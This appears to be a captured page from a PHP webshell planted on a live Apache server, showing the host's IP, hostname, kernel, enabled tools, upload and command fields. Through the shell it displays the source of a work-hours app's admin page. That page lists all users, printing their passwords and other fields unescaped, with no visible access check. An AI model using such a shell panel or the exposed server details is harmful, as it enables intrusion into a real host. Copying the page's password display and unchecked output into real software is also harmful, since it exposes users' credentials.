403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/radvre/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/radvre/admin/adm_usr.php
<!DOCTYPE html>
<!--
******************************
 Project: Radno vreme, 2023.
 Version: PHP 5-7
 Author : M. Kukic
 Note   :
 Link: http://net-nas/w3/radvre_v7/admin/adm_izl.php

******************************
-->
<html>
<link rel="stylesheet" href="lgdgstil.css">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="120">
<title>Radno vreme</title>
</head>
<body>

<?php
//
include "../config.php";

$_SESSION["sti"] = "";
//
$tabela=$u_dbp."_logdog";
//
echo"<div style='width:960px; word-wrap:break-word;'>";
echo "<fieldset>";
echo "<legend><h3>RADNO VREME - Zaposleni</h3></legend>";
echo "<table border=\"0\">";
echo "</fieldset>";
//
	$sql = "SELECT * FROM user ORDER BY dispname";
	if ($db==5) {	
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$numofrows = mysql_num_rows($result);
	}else{
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$numofrows = mysqli_num_rows($result);
	}
//
echo "<br> Zaposlenih: ".$numofrows;
echo "<br><br>";

			echo "<table border='1'>";
			//
			echo "<tr>";
			echo "<th>LID</th>";
			echo "<th>DispName</th>";
			echo "<th>FullName</th>";
			echo "<th>Password</th>";
			echo "<th>RFID</th>";
			echo "<th>Email</th>";
			echo "<th>Grupa</th>";
			echo "<th>Office</th>";
			echo "<th>Adm</th>";
			echo "<th>Rep</th>";
			echo "<th>Sts</th>";		
			echo "<th>Upd</th>";
			echo "<th>Del</th>";
			echo "</tr>";

		for ($i = 0; $i < $numofrows; $i++) {
			
			if ($db==5) {	
				$row = mysql_fetch_array($result);
			}else{
				$row = mysqli_fetch_array($result);
			}
			
			echo "<tr>";
			$id=$row['id'];
			echo "<td>".$id."</td>";
			echo "<td>".$row['dispname']."</td>";
			echo "<td>".$row['fullname']."</td>";
			echo "<td>".$row['passwd']."</td>";
			echo "<td>".$row['rfid']."</td>";
			echo "<td>".$row['email']."</td>";
			echo "<td>".$row['groups']."</td>";
			echo "<td>".$row['office']."</td>";
			echo "<td>".$row['admin']."</td>";
			echo "<td>".$row['reports']."</td>";
			echo "<td>".$row['disabled']."</td>";
			//
			echo "<td><a href=upd_usr.php?id=".$id."&st=upd><img src='img/res.png'></a></td>";
			echo "<td><a href=upd_usr.php?id=".$id."&st=del><img src='img/del.png'></a></td>";
			//
			echo "</tr>";
			
		}	
		echo "</table>";
		
	echo "<hr>";
	
include "close_db.php";
	//	
echo "<img src='img/sivobl.png' width='' height=''>";
echo "<a href='javascript:history.go(-1)'><img src='img/retv.png' width='' height=''>";
echo "<img src='img/sivobl.png' width='' height=''>";
echo "<a href='upd_usr.php?id=0&st=ins'><img src='img/plusv.png' width='' height=''></a></td>";
echo "<img src='img/sivobl.png' width='' height=''>";
echo "<a href='index_adm.php'><img src='img/upv.png' width='' height=''></a></td>";
?>
</div>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit